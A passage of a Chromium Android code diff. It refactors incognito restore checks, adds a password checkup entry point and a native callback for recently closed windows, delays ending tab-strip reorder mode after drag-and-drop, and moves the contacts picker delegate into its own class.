         }
         return res;
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
index 88106d5..1c02b97e 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
@@ -8,6 +8,7 @@
 import static org.chromium.build.NullUtil.assumeNonNull;
 import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.KEY_IS_INCOGNITO_REAUTH_PENDING;
 import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.PREVIOUS_VERSION_CODE;
+import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.isFromUpdate;
 import static org.chromium.chrome.browser.notifications.tips.TipsPromoCoordinator.INVALID_TIPS_NOTIFICATION_FEATURE_TYPE;
 import static org.chromium.chrome.browser.tabwindow.TabWindowManager.INVALID_WINDOW_ID;
 import static org.chromium.chrome.browser.ui.IncognitoRestoreAppLaunchDrawBlocker.IS_INCOGNITO_SELECTED;
@@ -204,6 +205,8 @@
 import org.chromium.chrome.browser.paint_preview.StartupPaintPreviewHelper;
 import org.chromium.chrome.browser.paint_preview.StartupPaintPreviewHelperSupplier;
 import org.chromium.chrome.browser.partnercustomizations.PartnerBrowserCustomizations;
+import org.chromium.chrome.browser.password_manager.PasswordCheckReferrer;
+import org.chromium.chrome.browser.password_manager.PasswordManagerHelper;
 import org.chromium.chrome.browser.preferences.ChromePreferenceKeys;
 import org.chromium.chrome.browser.preferences.ChromeSharedPreferences;
 import org.chromium.chrome.browser.preferences.Pref;
@@ -222,6 +225,7 @@
 import org.chromium.chrome.browser.safety_hub.SafetyHubMagicStackBuilder;
 import org.chromium.chrome.browser.search_engines.SearchEngineChoiceNotification;
 import org.chromium.chrome.browser.searchwidget.SearchActivityClientImpl;
+import org.chromium.chrome.browser.settings.SettingsCustomTabLauncherImpl;
 import org.chromium.chrome.browser.settings.SettingsNavigationFactory;
 import org.chromium.chrome.browser.share.ShareDelegate;
 import org.chromium.chrome.browser.share.ShareHelper;
@@ -229,6 +233,7 @@
 import org.chromium.chrome.browser.signin.SigninAndHistorySyncActivityLauncherImpl;
 import org.chromium.chrome.browser.single_tab.SingleTabModuleBuilder;
 import org.chromium.chrome.browser.survey.ChromeSurveyController;
+import org.chromium.chrome.browser.sync.SyncServiceFactory;
 import org.chromium.chrome.browser.sync.ui.SyncErrorMessage;
 import org.chromium.chrome.browser.tab.EmptyTabObserver;
 import org.chromium.chrome.browser.tab.RedirectHandlerTabHelper;
@@ -344,8 +349,10 @@
 import org.chromium.components.omnibox.OmniboxFeatures;
 import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.components.profile_metrics.BrowserProfileType;
+import org.chromium.components.signin.base.CoreAccountInfo;
 import org.chromium.components.signin.metrics.SigninAccessPoint;
 import org.chromium.components.supervised_user.SupervisedUserConstants;
+import org.chromium.components.sync.SyncService;
 import org.chromium.components.tab_group_sync.SavedTabGroup;
 import org.chromium.components.tab_group_sync.TabGroupSyncService;
 import org.chromium.components.user_prefs.UserPrefs;
@@ -2201,10 +2208,6 @@
             boolean hadCipherData = false;
             PersistableBundle persistentState = getPersistentInstanceState();
             if (shouldPersistAcrossReboots() && persistentState != null) {
-                boolean appWasUpdated =
-                        BuildConfig.VERSION_CODE
-                                != persistentState.getLong(
-                                        PREVIOUS_VERSION_CODE, BuildConfig.VERSION_CODE);
                 // Only restore incognito state if the data was persisted for an app update.
                 // It is possible for an app update to follow a device reboot, before the app is
                 // restored by the OS. In this case, the OS drops and clears the PersistableBundle
@@ -2212,7 +2215,7 @@
                 // should not be restored incorrectly if an app update immediately after a reboot
                 // "hides" the occurrence of the reboot, as incognito state should not be restored
                 // after a reboot.
-                if (appWasUpdated) {
+                if (isFromUpdate(persistentState)) {
                     hadCipherData =
                             CipherLazyHolder.sCipherInstance.restoreFromPersistableBundle(
                                     persistentState);
@@ -3349,6 +3352,28 @@
             }
 
             @Override
+            public void showPasswordCheckup() {
+                Profile profile = getProfileSupplier().get();
+                if (profile == null) return;
+
+                SyncService syncService = SyncServiceFactory.getForProfile(profile);
+                String accountName = null;
+                if (PasswordManagerHelper.hasChosenToSyncPasswords(syncService)) {
+                    accountName =
+                            CoreAccountInfo.getEmailFrom(
+                                    assumeNonNull(syncService).getAccountInfo());
+                }
+
+                PasswordManagerHelper.getForProfile(profile)
+                        .showPasswordCheckup(
+                                ChromeTabbedActivity.this,
+                                PasswordCheckReferrer.SAFETY_CHECK,
+                                getModalDialogManagerSupplier(),
+                                accountName,
+                                new SettingsCustomTabLauncherImpl());
+            }
+
+            @Override
             public int getTabCountForRelaunchFromPersistentStore() {
                 return MultiWindowUtils.getTabCountForRelaunchFromPersistentStore(mWindowId);
             }
@@ -4891,7 +4916,10 @@
 
         assert mInactivityTrackerSupplier.get() != null;
         return ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
-                getIntent(), getSavedInstanceState(), mInactivityTrackerSupplier.get());
+                getIntent(),
+                getSavedInstanceState(),
+                getPersistentInstanceState(),
+                mInactivityTrackerSupplier.get());
     }
 
     /**
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManager.java b/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManager.java
index fe28184..72440e60 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManager.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManager.java
@@ -8,12 +8,17 @@
 
 import androidx.annotation.VisibleForTesting;
 
+import org.jni_zero.CalledByNative;
+
 import org.chromium.base.Callback;
+import org.chromium.base.JniOnceCallback;
 import org.chromium.base.ResettersForTesting;
 import org.chromium.base.TimeUtils;
+import org.chromium.base.task.PostTask;
+import org.chromium.base.task.TaskTraits;
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.build.annotations.Nullable;
-import org.chromium.chrome.browser.incognito.IncognitoUtils;
+import org.chromium.chrome.browser.app.tabwindow.TabWindowManagerSingleton;
 import org.chromium.chrome.browser.multiwindow.InstanceInfo;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager.CloseWindowAppSource;
@@ -30,10 +35,12 @@
 import org.chromium.chrome.browser.profiles.Profile;
 import org.chromium.chrome.browser.tabmodel.TabModel;
 import org.chromium.chrome.browser.tabmodel.TabModelSelector;
+import org.chromium.chrome.browser.tabmodel.TabModelSelectorObserver;
 
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -61,6 +68,44 @@
     private @Nullable Callback<List<RecentlyClosedEntry>> mEntriesUpdatedCallback;
 
     /**
+     * Helper class for the getRecentlyClosedWindowInternal() method. Calls a callback when the tab
+     * state is initialized. Similar to {@code TabModelUtils.runOnTabStateInitialized()} but calls
+     * the callback when destroyed so the C++ side is always notified.
+     */
+    static class TabStateInitializedObserver implements TabModelSelectorObserver {
+        private final TabModelSelector mTabModelSelector;
+        private @Nullable JniOnceCallback<@Nullable TabModel> mCallback;
+
+        TabStateInitializedObserver(
+                TabModelSelector selector, JniOnceCallback<@Nullable TabModel> callback) {
+            assert callback != null;
+            mTabModelSelector = selector;
+            mCallback = callback;
+            mTabModelSelector.addObserver(this);
+        }
+
+        @Override
+        public void onTabStateInitialized() {
+            // Call the callback with the TabModel.
+            assumeNonNull(mCallback);
+            mCallback.onResult(mTabModelSelector.getCurrentModel());
+            // Set the callback to null to indicate we ran it.
+            mCallback = null;
+            mTabModelSelector.removeObserver(this);
+        }
+
+        @Override
+        public void onDestroyed() {
+            // If the callback wasn't called, notify the C++ side so it can continue.
+            if (mCallback != null) {
+                mCallback.onResult(null);
+                mCallback = null;
+            }
+            mTabModelSelector.removeObserver(this);
+        }
+    }
+
+    /**
      * @param multiInstanceManager The {@link MultiInstanceManager} instance used to observe window
      *     closures and restore windows.
      * @param tabModelSelector The selector that owns the Tab Model to access restored tabs.
@@ -87,6 +132,69 @@
     }
 
     /**
+     * Returns the TabModel via callback for the most recently closed window, if such a window
+     * Otherwise the callback is invoked with null.
+     */
+    @CalledByNative
+    public static void getRecentlyClosedWindow(JniOnceCallback<@Nullable TabModel> callback) {
+        // This function requires the kRecentlyClosedTabsAndWindows feature.
+        if (!UiUtils.isRecentlyClosedTabsAndWindowsEnabled()) {
+            callback.onResult(null);
+            return;
+        }
+
+        Set<RecentlyClosedEntriesManager> managers =
+                RecentlyClosedEntriesManagerTrackerImpl.getInstance().getManagers();
+        if (managers.size() == 0) {
+            callback.onResult(null);
+            return;
+        }
+
+        // All managers are notified about each window close, so pick the first one.
+        RecentlyClosedEntriesManager manager = managers.iterator().next();
+
+        // Move from static to instance method to simplify using inner classes.
+        manager.getRecentlyClosedWindowInternal(callback);
+    }
+
+    @VisibleForTesting
+    public void getRecentlyClosedWindowInternal(JniOnceCallback<@Nullable TabModel> callback) {
+        // Look up recently closed windows.
+        List<RecentlyClosedWindow> windows = getRecentlyClosedWindows();
+        if (windows.size() == 0) {
+            callback.onResult(null);
+            return;
+        }
+
+        // Use the first window. Entries are sorted by close time, with most recently closed first.
+        RecentlyClosedWindow window = windows.get(0);
+
+        // Get the TabModelSelector for the closed window.
+        TabModelSelector selector =
+                TabWindowManagerSingleton.getInstance()
+                        .getTabModelSelectorById(window.getInstanceId());
+        if (selector == null) {
+            callback.onResult(null);
+            return;
+        }
+
+        // If the tab state is initialized, run the callback now. Post it as a task so it's
+        // always async from the C++ side, which simplifies the calling code.
+        if (selector.isTabStateInitialized()) {
+            PostTask.postTask(
+                    TaskTraits.UI_DEFAULT,
+                    () -> {
+                        TabModel model = selector.getCurrentModel();
+                        callback.onResult(model);
+                    });
+            return;
+        }
+
+        // Otherwise wait for tab state to be initialized. The observer adds and removes itself.
+        new TabStateInitializedObserver(selector, callback);
+    }
+
+    /**
      * Updates the list of recently closed entries by merging list of closed windows and closed
      * tabs/groups.
      */
@@ -212,7 +320,7 @@
 
     /** Clears the list of recently closed entries. */
     public void clearRecentlyClosedEntries() {
-        List<InstanceInfo> instanceInfoList = getAllInactiveInstances();
+        List<InstanceInfo> instanceInfoList = mMultiInstanceManager.getRecentlyClosedInstances();
         List<Integer> instanceIds = new ArrayList<>();
         for (InstanceInfo instanceInfo : instanceInfoList) {
             instanceIds.add(instanceInfo.instanceId);
@@ -317,14 +425,6 @@
         mEntriesUpdatedCallback = null;
     }
 
-    private List<InstanceInfo> getAllInactiveInstances() {
-        var instanceType = PersistedInstanceType.INACTIVE;
-        if (IncognitoUtils.shouldOpenIncognitoAsWindow()) {
-            instanceType |= PersistedInstanceType.REGULAR;
-        }
-        return mMultiInstanceManager.getInstanceInfo(instanceType);
-    }
-
     private void getRecentlyClosedTabsAndWindows(
             @Nullable List<RecentlyClosedEntry> recentlyClosedSessionEntries) {
         List<RecentlyClosedWindow> recentlyClosedWindows = getRecentlyClosedWindows();
@@ -444,7 +544,7 @@
     }
 
     private List<RecentlyClosedWindow> getRecentlyClosedWindows() {
-        List<InstanceInfo> instanceInfoList = getAllInactiveInstances();
+        List<InstanceInfo> instanceInfoList = mMultiInstanceManager.getRecentlyClosedInstances();
         List<RecentlyClosedWindow> recentlyClosedWindows = new ArrayList<>();
 
         for (InstanceInfo info : instanceInfoList) {
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImpl.java b/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImpl.java
index 2f11c5b..cd6047d8 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImpl.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManagerTrackerImpl.java
@@ -94,7 +94,7 @@
         return mOpenMostRecentTabEntryNext;
     }
 
-    public Set<RecentlyClosedEntriesManager> getManagersForTesting() {
+    /* package */ Set<RecentlyClosedEntriesManager> getManagers() {
         return mManagers;
     }
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/accessibility/settings/ChromeAccessibilitySettingsDelegate.java b/chrome/android/java/src/org/chromium/chrome/browser/accessibility/settings/ChromeAccessibilitySettingsDelegate.java
index 1760184..2d72fac 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/accessibility/settings/ChromeAccessibilitySettingsDelegate.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/accessibility/settings/ChromeAccessibilitySettingsDelegate.java
@@ -5,6 +5,7 @@
 package org.chromium.chrome.browser.accessibility.settings;
 
 import org.chromium.build.annotations.NullMarked;
+import org.chromium.chrome.browser.dom_distiller.DomDistillerServiceFactory;
 import org.chromium.chrome.browser.flags.ChromeFeatureList;
 import org.chromium.chrome.browser.image_descriptions.ImageDescriptionsController;
 import org.chromium.chrome.browser.preferences.Pref;
@@ -12,6 +13,7 @@
 import org.chromium.chrome.browser.settings.SettingsNavigationFactory;
 import org.chromium.components.browser_ui.accessibility.AccessibilitySettingsDelegate;
 import org.chromium.components.browser_ui.settings.SettingsNavigation;
+import org.chromium.components.dom_distiller.core.DistilledPagePrefs;
 import org.chromium.components.user_prefs.UserPrefs;
 import org.chromium.content_public.browser.BrowserContextHandle;
 
@@ -110,6 +112,11 @@
                 getBrowserContextHandle(), Pref.READER_FOR_ACCESSIBILITY);
     }
 
+    @Override
+    public DistilledPagePrefs getDistilledPagePrefs() {
+        return DomDistillerServiceFactory.getForProfile(mProfile).getDistilledPagePrefs();
+    }
+
     /**
      * Returns whether the material slider should be used for the page zoom preference.
      *
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandler.java
index 00d2458..1b89341 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/compositor/overlays/strip/reorder/TabStripDragHandler.java
@@ -82,6 +82,7 @@
     private final Handler mHandler = new Handler(Looper.getMainLooper());
 
     private final Runnable mOnDragExitRunnable = this::onDragExit;
+    private final Runnable mOnDragEndRunnable = this::stopReorderModeOnDragEnd;
 
     /** Drag shadow properties */
     @Nullable private StripDragShadowView mShadowView;
@@ -333,6 +334,7 @@
                             isMultiTabDrop());
                     res = false;
                 }
+                if (res) DragDropGlobalState.notifyChromeHandledDrop(dragEvent);
                 break;
         }
         return res;
@@ -363,6 +365,12 @@
             return Boolean.TRUE.equals(mStripLayoutVisibilitySupplier.get());
         }
 
+        // This callback ends reorder mode. If a new drag is starting, we should cancel the runnable
+        // so it does not unexpectedly end the new drag.
+        if (mHandler.hasCallbacks(mOnDragEndRunnable)) {
+            mHandler.removeCallbacks(mOnDragEndRunnable);
+        }
+
         // If the tab is quickly dragged off the source strip on drag start with a mouse, the source
         // strip may not receive an enter/exit event, preventing the drag shadow from being made
         // visible. Post an #onDragExit here that will be cancelled if the source strip gets that
@@ -557,7 +565,26 @@
             return false;
         }
 
-        mStripLayoutHelperSupplier.get().stopReorderMode(mWasCancelled);
+        if (dropHandled && !DragDropGlobalState.didChromeHandleDrop()) {
+            // If browser content is dragged off the strip, then dropped to create a new window,
+            // there's no strong signal that a reparent is expected. The PendingIntent to create the
+            // new window is sent asynchronously, so it's not guaranteed to be received before this
+            // #onDragEnd. dropHandled could be true for drops that don't result in a reparent, such
+            // as pasting the tab title into a text field.
+            //
+            // This is not an issue when dropping to an existing window, since the reparent is
+            // handled in #onDrop, which is guaranteed to happen before #onDragEnd.
+            //
+            // This causes the dragged content (and most noticeably the previously selected tab) to
+            // flash in its source window before being reparented to the newly created window. To
+            // mitigate this, we'll post the #stopReorderMode event sent to the source tab strip to
+            // hopefully prevent the flashing. This does unnecessarily delay the expected behavior
+            // for non-reparenting drops, but those are expected to be a less common user journey.
+            // See crbug.com/440597875 for more context.
+            mHandler.postDelayed(mOnDragEndRunnable, /* delayMillis= */ 1000L);
+        } else {
+            mStripLayoutHelperSupplier.get().stopReorderMode(mWasCancelled);
+        }
 
         mHandler.removeCallbacks(mOnDragExitRunnable);
         if (mShadowView != null) {
@@ -569,6 +596,10 @@
         return true;
     }
 
+    private void stopReorderModeOnDragEnd() {
+        mStripLayoutHelperSupplier.get().stopReorderMode(mWasCancelled);
+    }
+
     private void recordTabRemovedFromGroupUserAction() {
         DragDropGlobalState globalState = getDragDropGlobalState(null);
         if (globalState != null
@@ -782,4 +813,8 @@
     Runnable getOnDragExitRunnableForTesting() {
         return mOnDragExitRunnable;
     }
+
+    Runnable getOnDragEndRunnableForTesting() {
+        return mOnDragEndRunnable;
+    }
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/contacts_picker/ChromeContactsPickerDelegate.java b/chrome/android/java/src/org/chromium/chrome/browser/contacts_picker/ChromeContactsPickerDelegate.java
new file mode 100644
index 0000000..9f50dca
--- /dev/null
+++ b/chrome/android/java/src/org/chromium/chrome/browser/contacts_picker/ChromeContactsPickerDelegate.java
@@ -0,0 +1,62 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.contacts_picker;
+
+import static org.chromium.build.NullUtil.assumeNonNull;
+
+import android.content.Context;
+
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.chrome.R;
+import org.chromium.chrome.browser.profiles.Profile;
+import org.chromium.components.browser_ui.contacts_picker.ContactsPickerDialog;
+import org.chromium.content_public.browser.ContactsFetcher;
+import org.chromium.content_public.browser.ContactsPickerDelegate;
+import org.chromium.content_public.browser.ContactsPickerListener;
+import org.chromium.content_public.browser.WebContents;
+import org.chromium.ui.base.WindowAndroid;
+import org.chromium.ui.edge_to_edge.EdgeToEdgeStateProvider;
+
+/** A delegate for the ContactsPicker that shows the Chrome-specific implementation. */
+@NullMarked
+public class ChromeContactsPickerDelegate implements ContactsPickerDelegate {
+    @Override
+    public Object showContactsPicker(
+            WebContents webContents,
+            ContactsPickerListener listener,
+            boolean allowMultiple,
+            boolean includeNames,
+            boolean includeEmails,
+            boolean includeTel,
+            boolean includeAddresses,
+            boolean includeIcons,
+            String formattedOrigin,
+            ContactsFetcher contactsFetcher) {
+        WindowAndroid windowAndroid = webContents.getTopLevelNativeWindow();
+        assumeNonNull(windowAndroid);
+        boolean shouldDialogPadForContent =
+                EdgeToEdgeStateProvider.isEdgeToEdgeEnabledForWindow(windowAndroid);
+        Context context = windowAndroid.getContext().get();
+        assumeNonNull(context);
+        ContactsPickerDialog dialog =
+                new ContactsPickerDialog(
+                        windowAndroid,
+                        new ChromePickerAdapter(context, Profile.fromWebContents(webContents)),
+                        listener,
+                        allowMultiple,
+                        includeNames,
+                        includeEmails,
+                        includeTel,
+                        includeAddresses,
+                        includeIcons,
+                        formattedOrigin,
+                        shouldDialogPadForContent,
+                        contactsFetcher);
+        assumeNonNull(dialog.getWindow()).getAttributes().windowAnimations =
+                R.style.PickerDialogAnimation;
+        dialog.show();
+        return dialog;
+    }
+}
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/contacts_picker/ContactsPickerDelegateProvider.java b/chrome/android/java/src/org/chromium/chrome/browser/contacts_picker/ContactsPickerDelegateProvider.java
new file mode 100644
index 0000000..e8652199
--- /dev/null
+++ b/chrome/android/java/src/org/chromium/chrome/browser/contacts_picker/ContactsPickerDelegateProvider.java
@@ -0,0 +1,22 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.contacts_picker;
+
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.components.browser_ui.contacts_picker.AndroidContactsPermissionProviderImpl;
+import org.chromium.content_public.browser.ContactsDialogHost;
+import org.chromium.content_public.browser.ContactsPicker;
+import org.chromium.content_public.browser.ContactsPickerDelegate;
+
+/** Provider for creating and initializing the {@link ContactsPickerDelegate}. */
+@NullMarked
+public final class ContactsPickerDelegateProvider {
+    private ContactsPickerDelegateProvider() {}
+
+    public static void initialize() {
+        ContactsDialogHost.setPermissionProvider(new AndroidContactsPermissionProviderImpl());
+        ContactsPicker.setContactsPickerDelegate(new ChromeContactsPickerDelegate());
+    }
+}
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/BaseCustomTabActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/BaseCustomTabActivity.java
index aba1a30..bee71c7 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/BaseCustomTabActivity.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/BaseCustomTabActivity.java
@@ -1715,14 +1715,25 @@
     @Nullable
     @BrowserWindowType
     Integer getSupportedBrowserWindowType() {
-        if (mIntentDataProvider.getUiType() == CustomTabsUiType.POPUP) {
-            return BrowserWindowType.POPUP;
-        }
-
+        // PWA
         if (mIntentDataProvider.getActivityType() == ActivityType.WEBAPP) {
             return BrowserWindowType.APP;
         }
 
+        @CustomTabsUiType int type = mIntentDataProvider.getUiType();
+        switch (type) {
+            // Popups
+            case CustomTabsUiType.POPUP:
+                return BrowserWindowType.POPUP;
+            // PWA and TWA
+            case CustomTabsUiType.MINIMAL_UI_WEBAPP:
+            /* fallthrough */
+            case CustomTabsUiType.TRUSTED_WEB_ACTIVITY:
+                return BrowserWindowType.APP;
+            default:
+                break;
+        }
+
         return null;
     }
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java
index b9d53c45..d7655eab 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java
@@ -435,11 +435,15 @@
     }
 
     private void addOpenInChrome(MVCListAdapter.ModelList modelList, boolean showIcon) {
-        String title =
-                mIsOffTheRecord
-                        ? ContextUtils.getApplicationContext()
-                                .getString(R.string.menu_open_in_incognito_chrome)
-                        : DefaultBrowserInfo.getTitleOpenInDefaultBrowser(mIsOpenedByChrome);
+        String title;
+        Context context = ContextUtils.getApplicationContext();
+        if (mIsOffTheRecord) {
+            title = context.getString(R.string.menu_open_in_incognito_chrome);
+        } else if (mIsOpenedByChrome) {
+            title = context.getString(R.string.menu_open_in_new_tab);
+        } else {
+            title = DefaultBrowserInfo.getTitleOpenInDefaultBrowser(false);
+        }
         PropertyModel model =
                 buildBaseModelForTextItem(R.id.open_in_browser_id)
                         .with(AppMenuItemProperties.TITLE, title)
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListener.java b/chrome/android/java/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListener.java
index 29926ea..4b2b6c35 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListener.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/dragdrop/ChromeTabbedOnDragListener.java
@@ -112,14 +112,17 @@
                     return false;
                 }
                 if (clipDescription == null) return false;
+                boolean res = false;
                 if (isTabGroupDrop) {
-                    return handleGroupDrop(dragEvent, isInDesktopWindow);
+                    res = handleGroupDrop(dragEvent, isInDesktopWindow);
                 } else if (isMultiTabDrop) {
-                    return handleMultiTabDrop(dragEvent, isInDesktopWindow);
+                    res = handleMultiTabDrop(dragEvent, isInDesktopWindow);
                 } else {
                     assert clipDescription.hasMimeType(MimeTypeUtils.CHROME_MIMETYPE_TAB);
-                    return handleTabDrop(dragEvent, isInDesktopWindow);
+                    res = handleTabDrop(dragEvent, isInDesktopWindow);
                 }
+                if (res) DragDropGlobalState.notifyChromeHandledDrop(dragEvent);
+                return res;
             case DragEvent.ACTION_DRAG_ENDED:
                 // Re-enable the NTP we disabled at DRAG_STARTED if any.
                 if (mTabToEnableFakeBox != null) {
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/init/ProcessInitializationHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/init/ProcessInitializationHandler.java
index 440a505..806b83a 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/init/ProcessInitializationHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/init/ProcessInitializationHandler.java
@@ -59,7 +59,7 @@
 import org.chromium.chrome.browser.bluetooth.BluetoothNotificationManager;
 import org.chromium.chrome.browser.bookmarks.BookmarkModel;
 import org.chromium.chrome.browser.bookmarkswidget.BookmarkWidgetProvider;
-import org.chromium.chrome.browser.contacts_picker.ChromePickerAdapter;
+import org.chromium.chrome.browser.contacts_picker.ContactsPickerDelegateProvider;
 import org.chromium.chrome.browser.content_capture.ContentCaptureHistoryDeletionObserver;
 import org.chromium.chrome.browser.crash.CrashUploadCountStore;
 import org.chromium.chrome.browser.crash.LogcatExtractionRunnable;
@@ -114,8 +114,6 @@
 import org.chromium.chrome.browser.webapps.WebappRegistry;
 import org.chromium.components.background_task_scheduler.BackgroundTaskSchedulerFactory;
 import org.chromium.components.browser_ui.accessibility.PageZoomUtils;
-import org.chromium.components.browser_ui.contacts_picker.AndroidContactsPermissionProviderImpl;
-import org.chromium.components.browser_ui.contacts_picker.ContactsPickerDialog;
 import org.chromium.components.browser_ui.photo_picker.DecoderServiceHost;
 import org.chromium.components.browser_ui.photo_picker.PhotoPickerDelegateBase;
 import org.chromium.components.browser_ui.photo_picker.PhotoPickerDialog;
@@ -131,13 +129,8 @@
 import org.chromium.components.webapps.AppBannerManager;
 import org.chromium.components.webapps.AppDetailsDelegate;
 import org.chromium.content_public.browser.ChildProcessLauncherHelper;
-import org.chromium.content_public.browser.ContactsDialogHost;
-import org.chromium.content_public.browser.ContactsFetcher;
-import org.chromium.content_public.browser.ContactsPicker;
-import org.chromium.content_public.browser.ContactsPickerListener;
 import org.chromium.content_public.browser.DeviceUtils;
 import org.chromium.content_public.browser.SpeechRecognition;
-import org.chromium.content_public.browser.WebContents;
 import org.chromium.net.NetworkChangeNotifier;
 import org.chromium.net.RegistrationPolicyApplicationStatus;
 import org.chromium.ui.accessibility.AccessibilityState;
@@ -429,43 +422,7 @@
                     }
                 });
 
-        ContactsDialogHost.setPermissionProvider(new AndroidContactsPermissionProviderImpl());
-
-        ContactsPicker.setContactsPickerDelegate(
-                (WebContents webContents,
-                        ContactsPickerListener listener,
-                        boolean allowMultiple,
-                        boolean includeNames,
-                        boolean includeEmails,
-                        boolean includeTel,
-                        boolean includeAddresses,
-                        boolean includeIcons,
-                        String formattedOrigin,
-                        ContactsFetcher contactsFetcher) -> {
-                    WindowAndroid windowAndroid = webContents.getTopLevelNativeWindow();
-                    assumeNonNull(windowAndroid);
-                    Context context = windowAndroid.getContext().get();
-                    assumeNonNull(context);
-                    ContactsPickerDialog dialog =
-                            new ContactsPickerDialog(
-                                    windowAndroid,
-                                    new ChromePickerAdapter(
-                                            context, Profile.fromWebContents(webContents)),
-                                    listener,
-                                    allowMultiple,
-                                    includeNames,
-                                    includeEmails,
-                                    includeTel,
-                                    includeAddresses,
-                                    includeIcons,
-                                    formattedOrigin,
-                                    shouldDialogPadForContent(windowAndroid),
-                                    contactsFetcher);
-                    assumeNonNull(dialog.getWindow()).getAttributes().windowAnimations =
-                            R.style.PickerDialogAnimation;
-                    dialog.show();
-                    return dialog;
-                });
+        ContactsPickerDelegateProvider.initialize();
 
         SearchActivityPreferencesManager.onNativeLibraryReady();
         SearchWidgetProvider.initialize();
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31.java b/chrome/android/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31.java
index 99603ee6..78806cf0 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31.java
@@ -519,7 +519,6 @@
             boolean openAdjacently,
             boolean addTrustedIntentExtras,
             @NewWindowAppSource int source) {
-        onMultiInstanceModeStarted();
         Intent intent =
                 MultiWindowUtils.createNewWindowIntent(
                         mActivity,
@@ -540,7 +539,6 @@
             boolean openAdjacently,
             boolean addTrustedIntentExtras,
             @NewWindowAppSource int source) {
-        onMultiInstanceModeStarted();
         Intent intent =
                 MultiWindowUtils.createNewWindowIntent(
                         mActivity,
@@ -638,7 +636,6 @@
         intent.setClassName(appContext, ChromeTabbedActivity.class.getName());
         MultiWindowUtils.setOpenInOtherWindowIntentExtras(
                 intent, mActivity, targetActivity.getClass());
-        onMultiInstanceModeStarted();
         RecordUserAction.record("MobileMenuMoveToOtherWindow");
 
         if (tabAtIndex != TabList.INVALID_TAB_INDEX) {
@@ -699,7 +696,6 @@
         Intent intent = createNewWindowIntent(incognito);
         assert intent != null : "The Intent to open a new window must not be null";
 
-        onMultiInstanceModeStarted();
         mActivity.startActivity(intent);
         RecordHistogram.recordEnumeratedHistogram(
                 MultiInstanceManager.NEW_WINDOW_APP_SOURCE_HISTOGRAM,
@@ -709,10 +705,27 @@
 
     @Override
     public List<InstanceInfo> getInstanceInfo(@PersistedInstanceType int persistedInstanceType) {
+        return getInstanceInfo(persistedInstanceType, /* includeDeleted= */ false);
+    }
+
+    @Override
+    public List<InstanceInfo> getRecentlyClosedInstances() {
+        var instanceType = PersistedInstanceType.INACTIVE;
+        if (IncognitoUtils.shouldOpenIncognitoAsWindow()) {
